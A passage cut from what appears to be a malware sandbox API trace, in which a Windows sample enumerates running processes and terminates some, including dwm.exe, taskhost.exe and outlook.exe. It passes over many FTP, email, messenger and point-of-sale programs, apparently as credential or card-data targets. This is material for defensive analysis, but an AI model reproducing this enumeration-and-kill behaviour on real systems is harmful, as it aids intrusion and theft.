Flags=0x0, Size=0x8) returned 0x9b9130 [0143.626] GetProcessHeap () returned 0x990000 [0143.626] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x16) returned 0x9af4b8 [0143.626] GetProcessHeap () returned 0x990000 [0143.626] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b9140 [0143.626] GetProcessHeap () returned 0x990000 [0143.626] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b9560 [0143.626] GetProcessHeap () returned 0x990000 [0143.626] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b9150 [0143.626] GetProcessHeap () returned 0x990000 [0143.626] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b9588 [0143.626] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x120 [0143.633] Process32FirstW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.633] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0143.634] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0143.634] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0143.635] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0143.636] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0143.636] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0143.637] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0143.638] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0143.638] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0143.639] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.640] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.640] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.641] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.642] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.642] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0143.643] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.644] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.644] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0143.645] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x444) returned 0xc4 [0143.645] TerminateProcess (hProcess=0xc4, uExitCode=0xffffffff) returned 1 [0143.677] CloseHandle (hObject=0xc4) returned 1 [0143.677] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0143.678] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0143.679] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.679] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0143.680] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x4c8) returned 0xc4 [0143.680] TerminateProcess (hProcess=0xc4, uExitCode=0xffffffff) returned 1 [0143.686] CloseHandle (hObject=0xc4) returned 1 [0143.686] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0143.687] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x588) returned 0xc4 [0143.687] TerminateProcess (hProcess=0xc4, uExitCode=0xffffffff) returned 1 [0143.690] CloseHandle (hObject=0xc4) returned 1 [0143.690] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="station.exe")) returned 1 [0143.691] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="curious.exe")) returned 1 [0143.691] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj owners.exe")) returned 1 [0143.692] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="awardindicatesides.exe")) returned 1 [0143.693] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawscommandsdeposits.exe")) returned 1 [0143.693] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="arising.exe")) returned 1 [0143.694] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alien-barbara.exe")) returned 1 [0143.695] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="weddingsexhaust.exe")) returned 1 [0143.695] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="put.exe")) returned 1 [0143.696] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="byte_blacks.exe")) returned 1 [0143.697] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="human.exe")) returned 1 [0143.697] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerning.exe")) returned 1 [0143.698] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bags_finish_lamps.exe")) returned 1 [0143.699] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="topics-power-hiring.exe")) returned 1 [0143.700] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="says_broadway.exe")) returned 1 [0143.700] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coordinate-indiana-hungarian.exe")) returned 1 [0143.701] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell.exe")) returned 1 [0143.702] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="rpm_left.exe")) returned 1 [0143.702] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="rocks-hepatitis.exe")) returned 1 [0143.703] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="salvationflexibilityconsistency.exe")) returned 1 [0143.704] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0143.704] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0143.705] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0143.706] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0143.706] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0143.707] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0143.708] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0143.708] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0143.709] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0143.710] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0143.711] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0143.711] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0143.712] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0143.713] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0143.713] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0143.715] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0143.716] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0143.717] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0143.718] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x834) returned 0xc4 [0143.718] TerminateProcess (hProcess=0xc4, uExitCode=0xffffffff) returned 1 [0143.764] CloseHandle (hObject=0xc4) returned 1 [0143.764] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0143.765] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0143.766] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0143.767] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0143.768] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0143.769] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0143.770] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0143.770] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0143.771] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0143.772] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0143.773] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0143.774] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0143.775] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0143.775] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0143.776] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0143.777] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0143.777] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0143.778] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, 